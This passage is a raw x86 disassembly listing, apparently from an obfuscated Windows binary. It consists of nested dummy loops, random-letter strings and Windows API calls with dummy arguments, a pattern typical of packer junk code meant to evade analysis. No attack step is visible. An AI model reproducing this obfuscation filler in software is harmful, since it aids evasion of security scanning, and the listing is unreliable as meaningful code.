or dword [ebp - 4], 0xffffffff
jmp 0x45dba9
jmp 0x45d93a
mov dword [ebp - 4], 0x1c
cmp dword [ebp - 0x568], 0x4a1c
jge 0x45dbd1
mov edx, dword [ebp - 0x99c]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x45dbed
or dword [ebp - 4], 0xffffffff
jmp 0x45dbf7
jmp 0x45d812
mov dword [ebp - 4], 0x1e
cmp dword [ebp - 0x470], 0x1ef4
jge 0x45dc1b
push dword [ebp - 0x5f0]
call fcn.004814e5
pop ecx
jmp 0x45dc37
or dword [ebp - 4], 0xffffffff
jmp 0x45dc41
mov dword [ebp - 0x500], 0x2583
mov dword [ebp - 0x8a0], str.nhhl_ijj_dmyqfqjww_xzxxo_lvb_xfgjoz
cmp dword [ebp - 0x500], 0x28e6
jle 0x45dd65
and dword [ebp - 0x100], 0
jmp 0x45dc7b
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0x6349
jge 0x45dd65
and dword [ebp - 0x298], 0
jmp 0x45dca1
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 0x27c5
jge 0x45dd60
and dword [ebp - 0x108], 0
jmp 0x45dcc7
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0x6ba9
jge 0x45dd5b
and dword [ebp - 0x3c8], 0
jmp 0x45dced
mov eax, dword [ebp - 0x3c8]
inc eax
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0x4be6
jge 0x45dd56
mov eax, dword [ebp - 0x100]
imul eax, dword [ebp - 0x298]
imul eax, dword [ebp - 0x108]
mov ecx, dword [ebp - 0x3c8]
sar eax, cl
cdq
mov dword [ebp - 0x958], eax
mov dword [ebp - 0x954], edx
push dword [ebp - 0x954]
push dword [ebp - 0x958]
lea ecx, [ebp - 0xafc]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xafc]
call fcn.004024b1
jmp 0x45dce0
jmp 0x45dcba
jmp 0x45dc94
jmp 0x45dc6e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 4], 0x20
cmp dword [ebp - 0x500], 0x2336
jge 0x45dd8e
push dword [ebp - 0x8a0]
call fcn.004814e5
pop ecx
jmp 0x45ddaa
or dword [ebp - 4], 0xffffffff
jmp 0x45ddb4
jmp 0x462eb8
mov dword [ebp - 4], 0x2a
mov dword [ebp - 0x490], 0x450
mov dword [ebp - 0x620], str.fbiejejkp_pvevi_rcqlx_fznsiri_cezv_akp_cclbtyjj_gyendpi_hiitwbast_xwllvkk_yuuuv_ugrdlx
cmp dword [ebp - 0x490], 0x4c2
jle 0x45e2a7
and dword [ebp - 0x370], 0
jmp 0x45e1f6
mov eax, dword [ebp - 0x370]
inc eax
mov dword [ebp - 0x370], eax
cmp dword [ebp - 0x370], 0x5e52
jge 0x45e2a7
and dword [ebp - 0x2b0], 0
jmp 0x45e21c
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 0x49a7
jge 0x45e2a2
and dword [ebp - 0x138], 0
jmp 0x45e23e
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0x22fc
jge 0x45e29d
mov eax, dword [ebp - 0x2b0]
sub eax, dword [ebp - 0x138]
xor eax, dword [ebp - 0x370]
cdq
mov dword [ebp - 0x970], eax
mov dword [ebp - 0x96c], edx
push dword [ebp - 0x96c]
push dword [ebp - 0x970]
lea ecx, [ebp - 0xb5c]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xb5c]
call fcn.004024b1
jmp 0x45e231
jmp 0x45e20f
jmp 0x45e1e9
cmp dword [ebp - 0x488], 0x36e0
jge 0x45e3e7
mov dword [ebp - 0x588], 0x235a
mov dword [ebp - 0x9ac], str.twsurk_tazuhoaph_ezruxon_sufbooa_zylvl_goxvwsive_qdga_eprgsj_xurwk_puaflstao_xuoss
cmp dword [ebp - 0x588], 0x23dc
jle 0x45e393
push 0x194e
call dword [sym.imp.KERNEL32.dll_TlsFree]
and dword [ebp - 0x140], 0
jmp 0x45e2fc
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0x4b13
jge 0x45e37e
and dword [ebp - 0x2b8], 0
jmp 0x45e31e
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 0x654e
jge 0x45e379
mov eax, dword [ebp - 0x140]
mov ecx, dword [ebp - 0x2b8]
shl eax, cl
cdq
mov dword [ebp - 0x860], eax
mov dword [ebp - 0x85c], edx
push dword [ebp - 0x85c]
push dword [ebp - 0x860]
lea ecx, [ebp - 0xe50]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xe50]
call fcn.004024b1
jmp 0x45e311
jmp 0x45e2ef
push 0x2ab
push 0x1b49
push 0x1b82
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push dword [ebp - 0x614]
call fcn.004814e5
pop ecx
mov byte [ebp - 4], 0x2b
cmp dword [ebp - 0x588], 0x22bb
jge 0x45e3bb
push dword [ebp - 0x9ac]
call fcn.004814e5
pop ecx
jmp 0x45e3d7
mov dword [ebp - 4], 0x2a
jmp 0x45e3e7
mov byte [ebp - 4], 0x2d
cmp dword [ebp - 0x490], 0x2a3
jge 0x45e403
push dword [ebp - 0x620]
call fcn.004814e5
pop ecx
jmp 0x45e41f
mov dword [ebp - 4], 0x2a
jmp 0x45e42f
jmp 0x45e44b
or dword [ebp - 4], 0xffffffff
jmp 0x45e455
mov dword [ebp - 0x510], 0x2afc
mov dword [ebp - 0x8b4], str.lhq_suqfh_kcpop_uobmvmddg_cjgmju_jgaapu_fiqguy_yucmtqi_wgyxmqyud_aypw_cto_zwgfx
cmp dword [ebp - 0x510], 0x2d0f
jle 0x45e578
and dword [ebp - 0x2c0], 0
jmp 0x45e48f
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 0x5e31
jge 0x45e578
and dword [ebp - 0x148], 0
jmp 0x45e4b5
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0x5c3c
jge 0x45e573
and dword [ebp - 0x3d0], 0
jmp 0x45e4db
mov eax, dword [ebp - 0x3d0]
inc eax
mov dword [ebp - 0x3d0], eax
cmp dword [ebp - 0x3d0], 0x4d8b
jge 0x45e56e
and dword [ebp - 0x150], 0
jmp 0x45e501
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0x1bfa
jge 0x45e569
mov eax, dword [ebp - 0x148]
imul eax, dword [ebp - 0x3d0]
mov ecx, dword [ebp - 0x150]
shl eax, cl
or eax, dword [ebp - 0x2c0]
cdq
mov dword [ebp - 0x97c], eax
mov dword [ebp - 0x978], edx
push dword [ebp - 0x978]
push dword [ebp - 0x97c]
lea ecx, [ebp - 0xb8c]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xb8c]
call fcn.004024b1
jmp 0x45e4f4
jmp 0x45e4ce
jmp 0x45e4a8
jmp 0x45e482
call fcn.004811f2
cdq
push 7
pop ecx
idiv ecx
mov word [ebp - 0x14], dx
mov dword [ebp - 4], 0x30
cmp dword [ebp - 0x510], 0x28da
jge 0x45e5a6
push dword [ebp - 0x8b4]
call fcn.004814e5
pop ecx
jmp 0x45e5c2
or dword [ebp - 4], 0xffffffff
jmp 0x45e5cc
mov dword [ebp - 0x498], 0x13b6
mov dword [ebp - 0x62c], str.ycrycngao_cqhmickr_nyemumd_jbcyybtvz_mfyttghg_khxeilhff_vfsb_ndmux_rzkkhuvbd_fcmhg_oowxd_keuegyfa_smpaaob_mfj
cmp dword [ebp - 0x498], 0x1766
jle 0x45e688
and dword [ebp - 0x158], 0
jmp 0x45e606
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0x561b
jge 0x45e688
and dword [ebp - 0x378], 0
jmp 0x45e628
mov eax, dword [ebp - 0x378]
inc eax
mov dword [ebp - 0x378], eax
cmp dword [ebp - 0x378], 0x3043
jge 0x45e683
mov eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x378]
sar eax, cl
cdq
mov dword [ebp - 0x870], eax
mov dword [ebp - 0x86c], edx
push dword [ebp - 0x86c]
push dword [ebp - 0x870]
lea ecx, [ebp - 0xd0c]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xd0c]
call fcn.004024b1
jmp 0x45e61b
jmp 0x45e5f9
mov dword [ebp - 0x4b8], 0x1959
mov dword [ebp - 4], 0x32
cmp dword [ebp - 0x498], 0x1091
jge 0x45e6b1
push dword [ebp - 0x62c]
call fcn.004814e5
pop ecx
jmp 0x45e6cd
or dword [ebp - 4], 0xffffffff
jmp 0x45e6d7
mov dword [ebp - 0x430], 0x5ea3
mov dword [ebp - 0x9a0], str.lkbmqjw_hobdjh_lrdmda_yycb_qlcftp_bfbzee_nptv_cwgo_uzx_wajdsup_xmy
cmp dword [ebp - 0x430], 0x5ffa
jle 0x45e77f
and dword [ebp - 0x160], 0
jmp 0x45e711
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0x2d2c
jge 0x45e772
and dword [ebp - 0x2c8], 0
jmp 0x45e733
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 0x2ee0
jge 0x45e770
mov eax, dword [ebp - 0x160]
add eax, dword [ebp - 0x2c8]
cdq
mov dword [ebp - 0x598], eax
mov dword [ebp - 0x594], edx
push dword [ebp - 0x594]
push dword [ebp - 0x598]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x45e726
jmp 0x45e704
push 0x217f
push 0
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
mov dword [ebp - 0x65c], str.qugy_ghrf_cvbwjf_xem_upzvvcg_xevwxa_ridxen_ltz_asymt_bxmvti_ivht
mov dword [ebp - 4], 0x34
cmp dword [ebp - 0x430], 0x5e25
jge 0x45e7ac
mov edx, dword [ebp - 0x9a0]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x45e7c8
or dword [ebp - 4], 0xffffffff
jmp 0x45e7d2
cmp dword [ebp - 0x4b8], 0x1c4e
jle 0x45ee66
mov dword [ebp - 0x4a0], 0x6001
mov dword [ebp - 0x638], str.xrbrbfk_tpompvq_jiyp_taoblksag_meha_kgnn_ezbco_xfkss_uyqzsgql
cmp dword [ebp - 0x4a0], 0x6315
jle 0x45e87c
and dword [ebp - 0x168], 0
jmp 0x45e818
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0x34bd
jge 0x45e87c
and dword [ebp - 0x400], 0
jmp 0x45e83a
mov eax, dword [ebp - 0x400]
inc eax
mov dword [ebp - 0x400], eax
cmp dword [ebp - 0x400], 0x140f
jge 0x45e87a
mov eax, dword [ebp - 0x168]
cdq
idiv dword [ebp - 0x400]
mov eax, edx
cdq
mov dword [ebp - 0x5a4], eax
mov dword [ebp - 0x5a0], edx
push dword [ebp - 0x5a0]
push dword [ebp - 0x5a4]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x45e82d
jmp 0x45e80b
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov dword [ebp - 4], 0x36
cmp dword [ebp - 0x4a0], 0x5ea0
jge 0x45e8a9
mov edx, dword [ebp - 0x638]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x45e8c5
or dword [ebp - 4], 0xffffffff
jmp 0x45e8cf
mov dword [ebp - 0x4b0], 0x7ea4
mov dword [ebp - 0x650], str.zgretvcvt_uqejtzyqv_viwatephk_zxfvck_irqjogrz_svq_medsje_ydjfud_pljlbjz_btrmymbtu_bxecdui_olhyaufp_sishakc
cmp dword [ebp - 0x4b0], 0x7fef
jle 0x45e9d0
and dword [ebp - 0x170], 0
jmp 0x45e909
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0x6ea4
jge 0x45e9d0
and dword [ebp - 0x2d0], 0
jmp 0x45e92f
mov eax, dword [ebp - 0x2d0]
inc eax
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 0x8e
jge 0x45e9cb
and dword [ebp - 0x178], 0
jmp 0x45e955
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 0x563a
jge 0x45e9c6
and dword [ebp - 0x380], 0
jmp 0x45e977
mov eax, dword [ebp - 0x380]
inc eax
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 0x7ce9
jge 0x45e9c4
mov eax, dword [ebp - 0x170]
add eax, dword [ebp - 0x2d0]
mov ecx, dword [ebp - 0x178]
shl eax, cl
mov ecx, dword [ebp - 0x380]
sar eax, cl
cdq
mov dword [ebp - 0x5b0], eax
mov dword [ebp - 0x5ac], edx
push dword [ebp - 0x5ac]
push dword [ebp - 0x5b0]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x45e96a
jmp 0x45e948
jmp 0x45e922
jmp 0x45e8fc
and dword [ebp - 0x198], 0
jmp 0x45e9e6
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0x42ab
jge 0x45ee1d
and dword [ebp - 0x388], 0
jmp 0x45ea0c
mov eax, dword [ebp - 0x388]
inc eax
mov dword [ebp - 0x388], eax
cmp dword [ebp - 0x388], 0x5e44
jge 0x45ee18
mov dword [ebp - 0x570], 0x7680
mov dword [ebp - 0x938], str.rasvy_elxwd_rtwwfezpp_ccg
cmp dword [ebp - 0x570], 0x7993
jle 0x45eae7
and dword [ebp - 0x180], 0
jmp 0x45ea56
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 0x308a
jge 0x45ead6
and dword [ebp - 0x2d8], 0
jmp 0x45ea78
mov eax, dword [ebp - 0x2d8]
inc eax
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 0x48c1
jge 0x45ead1
mov eax, dword [ebp - 0x180]
add eax, dword [ebp - 0x2d8]
cdq
mov dword [ebp - 0x5bc], eax
mov dword [ebp - 0x5b8], edx
push dword [ebp - 0x5b8]
push dword [ebp - 0x5bc]
lea ecx, [ebp - 0xbbc]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xbbc]
call fcn.004024b1
jmp 0x45ea6b
jmp 0x45ea49
push 0xeea
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
and dword [ebp - 0x1a0], 0
jmp 0x45eafd
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0x2b32
jge 0x45edce
mov dword [ebp - 0x518], 0x132e
mov dword [ebp - 0x8bc], str.dohqta_ityqifwv_hcxku_gmdjzm_nmliavaa_kbhmsyxj_viddloc_opea_pugx_qgshjnte_jhjo_iscpkgb_brdk
cmp dword [ebp - 0x518], 0x1688
jle 0x45ec2f
and dword [ebp - 0x2e0], 0
jmp 0x45eb47
mov eax, dword [ebp - 0x2e0]
inc eax
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 0x24c9
jge 0x45ec2f
and dword [ebp - 0x188], 0
jmp 0x45eb6d
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0x817
jge 0x45ec2a
and dword [ebp - 0x3d8], 0
jmp 0x45eb93
mov eax, dword [ebp - 0x3d8]
inc eax
mov dword [ebp - 0x3d8], eax
cmp dword [ebp - 0x3d8], 0x5dc8
jge 0x45ec25
and dword [ebp - 0x190], 0
jmp 0x45ebb9
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0x7795
jge 0x45ec20
mov ecx, dword [ebp - 0x188]
sub ecx, dword [ebp - 0x3d8]
sub ecx, dword [ebp - 0x190]
mov eax, dword [ebp - 0x2e0]
shl eax, cl
cdq
mov dword [ebp - 0x5c8], eax
mov dword [ebp - 0x5c4], edx
push dword [ebp - 0x5c4]
push dword [ebp - 0x5c8]
lea ecx, [ebp - 0xdcc]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xdcc]
call fcn.004024b1
jmp 0x45ebac
jmp 0x45eb86
jmp 0x45eb60
jmp 0x45eb3a
mov eax, dword [ebp - 0x198]
imul eax, dword [ebp - 0x388]
sub eax, dword [ebp - 0x1a0]
cdq
mov dword [ebp - 0x5e0], eax
mov dword [ebp - 0x5dc], edx
mov dword [ebp - 4], 0x38
cmp dword [ebp - 0x518], 0x1304
jge 0x45ec6e
push dword [ebp - 0x8bc]
call fcn.004814e5
pop ecx
jmp 0x45ec8a
or dword [ebp - 4], 0xffffffff
jmp 0x45ec94
mov dword [ebp - 0x4a8], 0x5cfa
mov dword [ebp - 0x644], str.kxwhgv_yunnbf_qtjnvjv_xnst_mrsfq_cwhqtxp_jydgyeo_fhboojkdb_ptqt_redpfc
cmp dword [ebp - 0x4a8], 0x5d2d
jle 0x45ed6e
and dword [ebp - 0x2e8], 0
jmp 0x45ecce
mov eax, dword [ebp - 0x2e8]
inc eax
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 0x7d9a
jge 0x45ed51
and dword [ebp - 0x1a8], 0
jmp 0x45ecf0
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0x2cf0
jge 0x45ed4c
mov eax, dword [ebp - 0x2e8]
cdq
idiv dword [ebp - 0x1a8]
mov eax, edx
cdq
mov dword [ebp - 0x5d4], eax
mov dword [ebp - 0x5d0], edx
push dword [ebp - 0x5d0]
push dword [ebp - 0x5d4]
lea ecx, [ebp - 0xbec]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xbec]
call fcn.004024b1
jmp 0x45ece3
jmp 0x45ecc1
push 0
push 0x1031
push 0x41b
push 0
push 0xe2
push 0x54
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push dword [ebp - 0x5dc]
push dword [ebp - 0x5e0]
mov ecx, 0xab4140
call fcn.0047c836
mov dword [ebp - 4], 0x3a
cmp dword [ebp - 0x4a8], 0x59b1
jge 0x45eda3
push dword [ebp - 0x644]
call fcn.004814e5
pop ecx
jmp 0x45edbf
or dword [ebp - 4], 0xffffffff
jmp 0x45edc9
jmp 0x45eaf0
mov dword [ebp - 4], 0x3c
cmp dword [ebp - 0x570], 0x744c
jge 0x45eded
push dword [ebp - 0x938]
call fcn.004814e5
pop ecx
jmp 0x45ee09
or dword [ebp - 4], 0xffffffff
jmp 0x45ee13
jmp 0x45e9ff
jmp 0x45e9d9
mov dword [ebp - 4], 0x3e
cmp dword [ebp - 0x4b0], 0x7bb7
jge 0x45ee40
mov edx, dword [ebp - 0x650]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x45ee5c
or dword [ebp - 4], 0xffffffff
jmp 0x45ee66
movsx eax, word [ebp - 0x14]
test eax, eax
jne 0x45ef5f
mov dword [ebp - 0x520], 0x1c63
mov dword [ebp - 0x8c4], str.fge_ysznua_ebqqmmedk_vthjirif_mrmfsqyju
cmp dword [ebp - 0x520], 0x1f39
jle 0x45ef0b
and dword [ebp - 0x418], 0
jmp 0x45eea8
mov eax, dword [ebp - 0x418]
inc eax
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0x20f6
jge 0x45ef0b
and dword [ebp - 0x1b0], 0
jmp 0x45eeca
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0x2857
jge 0x45ef09
mov eax, dword [ebp - 0x418]
mov ecx, dword [ebp - 0x1b0]
shl eax, cl
cdq
mov dword [ebp - 0x5ec], eax
mov dword [ebp - 0x5e8], edx
push dword [ebp - 0x5e8]
push dword [ebp - 0x5ec]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x45eebd
jmp 0x45ee9b
mov eax, dword [ebp + 8]
inc eax
push eax
call fcn.0045c723
pop ecx
mov dword [ebp - 4], 0x40
cmp dword [ebp - 0x520], 0x1b80
jge 0x45ef39
mov edx, dword [ebp - 0x8c4]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x45ef55
or dword [ebp - 4], 0xffffffff
jmp 0x45ef5f
mov dword [ebp - 0x528], 0x79c4
mov dword [ebp - 0x8cc], str.avuwyqvjh_abqmwofi_fasum_qexuj_zjotk
cmp dword [ebp - 0x528], 0x7ab7
jle 0x45f04b
and dword [ebp - 0x2f0], 0
jmp 0x45ef99
mov eax, dword [ebp - 0x2f0]
inc eax
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 0x6dd8
jge 0x45f04b
and dword [ebp - 0x1b8], 0
jmp 0x45efbf
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0x282f
jge 0x45f046
and dword [ebp - 0x390], 0
jmp 0x45efe1
mov eax, dword [ebp - 0x390]
inc eax
mov dword [ebp - 0x390], eax
cmp dword [ebp - 0x390], 0x35d4
jge 0x45f041
mov eax, dword [ebp - 0x2f0]
imul eax, dword [ebp - 0x1b8]
add eax, dword [ebp - 0x390]
cdq
mov dword [ebp - 0x5f8], eax
mov dword [ebp - 0x5f4], edx
push dword [ebp - 0x5f4]
push dword [ebp - 0x5f8]
lea ecx, [ebp - 0xd3c]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xd3c]
call fcn.004024b1
jmp 0x45efd4
jmp 0x45efb2
jmp 0x45ef8c
mov dword [ebp - 4], 0x42
cmp dword [ebp - 0x4b8], 0x1690
jge 0x45f174
mov dword [ebp - 0x558], 0x7f02
mov dword [ebp - 0x980], str.wdst_eifd_fwqii_ucnul_lqptpb_zbqnl_qzmt_zehwalcq_wyceepv_tlzna_whd_osraqie
cmp dword [ebp - 0x558], 0x8142
jle 0x45f11c
and dword [ebp - 0x1c0], 0
jmp 0x45f09c
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0x2b78
jge 0x45f11c
and dword [ebp - 0x2f8], 0
jmp 0x45f0be
mov eax, dword [ebp - 0x2f8]
inc eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 0x61ee
jge 0x45f117
mov eax, dword [ebp - 0x1c0]
or eax, dword [ebp - 0x2f8]
cdq
mov dword [ebp - 0x604], eax
mov dword [ebp - 0x600], edx
push dword [ebp - 0x600]
push dword [ebp - 0x604]
lea ecx, [ebp - 0xc1c]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xc1c]
call fcn.004024b1
jmp 0x45f0b1
jmp 0x45f08f
mov edx, dword [ebp - 0x65c]
mov ecx, 0xab4140
call fcn.0047dce4
mov byte [ebp - 4], 0x43
cmp dword [ebp - 0x558], 0x7e43
jge 0x45f148
push dword [ebp - 0x980]
call fcn.004814e5
pop ecx
jmp 0x45f164
mov dword [ebp - 4], 0x42
jmp 0x45f174
jmp 0x45f300
or dword [ebp - 4], 0xffffffff
jmp 0x45f30a
mov dword [ebp - 4], 0x48
cmp dword [ebp - 0x528], 0x794b
jge 0x45f329
push dword [ebp - 0x8cc]
call fcn.004814e5
pop ecx
jmp 0x45f345
or dword [ebp - 4], 0xffffffff
jmp 0x45f34f
mov dword [ebp - 0x4c8], 0xcdc
mov dword [ebp - 0x674], str.kblzvrfkj_ygezow_zbckyll_wrycjdaa_gxexqkz_ilxp_tnjrpqsxc_mdnvp_xdhoiru_lwyez_bwwv_uiasb_owkenec
cmp dword [ebp - 0x4c8], 0xd95
jle 0x45f473
and dword [ebp - 0x1d8], 0
jmp 0x45f389
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 0x74fa
jge 0x45f473
and dword [ebp - 0x398], 0
jmp 0x45f3af
mov eax, dword [ebp - 0x398]
inc eax
mov dword [ebp - 0x398], eax
cmp dword [ebp - 0x398], 0x11a8
jge 0x45f46e
and dword [ebp - 0x1e0], 0
jmp 0x45f3d5
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 0x30ed
jge 0x45f469
and dword [ebp - 0x308], 0
jmp 0x45f3fb
mov eax, dword [ebp - 0x308]
inc eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 0x13dc
jge 0x45f464
mov eax, dword [ebp - 0x1d8]
imul eax, dword [ebp - 0x398]
mov ecx, dword [ebp - 0x1e0]
imul ecx, dword [ebp - 0x308]
xor eax, ecx
cdq
mov dword [ebp - 0x61c], eax
mov dword [ebp - 0x618], edx
push dword [ebp - 0x618]
push dword [ebp - 0x61c]
lea ecx, [ebp - 0x9f4]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0x9f4]
call fcn.004024b1
jmp 0x45f3ee
jmp 0x45f3c8
jmp 0x45f3a2
jmp 0x45f37c
mov dword [ebp - 0x560], 0x2a62
mov dword [ebp - 4], 0x4a
cmp dword [ebp - 0x4c8], 0x98b
jge 0x45f49c
push dword [ebp - 0x674]
call fcn.004814e5
pop ecx
jmp 0x45f4b8
or dword [ebp - 4], 0xffffffff
jmp 0x45f4c2
mov dword [ebp - 0x998], str.igjvkuyfo_ejzueersd_yndcb_usrixxyw_shsl_odgbckuf_yucs_qwz_hvn_iiefqk
mov dword [ebp - 0x530], 0x6cc9
mov dword [ebp - 0x8d4], str.qtmtx_myzorxdmn_nwwddot_zft_ecdb_btkiuwzob_xqvq
cmp dword [ebp - 0x530], 0x6ea9
jle 0x45f5bb
push 0x111a
push 0
push 0x151a
push 0
push 0x150c
push 0xc28
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
and dword [ebp - 0x1f0], 0
jmp 0x45f524
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0x1bee
jge 0x45f5bb
and dword [ebp - 0x1e8], 0
jmp 0x45f54a
mov eax, dword [ebp - 0x1e8]
inc eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0x7cb6
jge 0x45f5b6
and dword [ebp - 0x408], 0
jmp 0x45f56c
mov eax, dword [ebp - 0x408]
inc eax
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 0x522
jge 0x45f5b4
mov eax, dword [ebp - 0x1e8]
cdq
idiv dword [ebp - 0x408]
mov eax, dword [ebp - 0x1f0]
mov ecx, edx
shl eax, cl
cdq
mov dword [ebp - 0x628], eax
mov dword [ebp - 0x624], edx
push dword [ebp - 0x624]
push dword [ebp - 0x628]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x45f55f
jmp 0x45f53d
jmp 0x45f517
cmp dword [ebp - 0x560], 0x2a86
jle 0x45f8cf
and dword [ebp - 0x210], 0
jmp 0x45f5e1
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0x20cc
jge 0x45f8cf
mov dword [ebp - 0x4d0], 0x5201
mov dword [ebp - 0x680], str.ldf_lezx_motvwf_cyjmazuju_bfcm_suqvoi_guolkreq_qwo_olbd_tvihfwf_ukesibach
cmp dword [ebp - 0x4d0], 0x5589
jle 0x45f6bd
and dword [ebp - 0x310], 0
jmp 0x45f62b
mov eax, dword [ebp - 0x310]
inc eax
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 0x7665
jge 0x45f6bd
and dword [ebp - 0x1f8], 0
jmp 0x45f651
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 0x58a5
jge 0x45f6b8
and dword [ebp - 0x3a0], 0
jmp 0x45f673
mov eax, dword [ebp - 0x3a0]
inc eax
mov dword [ebp - 0x3a0], eax
cmp dword [ebp - 0x3a0], 0x9bd
jge 0x45f6b6
mov eax, dword [ebp - 0x310]
sub eax, dword [ebp - 0x1f8]
xor eax, dword [ebp - 0x3a0]
cdq
mov dword [ebp - 0x634], eax
mov dword [ebp - 0x630], edx
push dword [ebp - 0x630]
push dword [ebp - 0x634]
mov ecx, 0xab4140
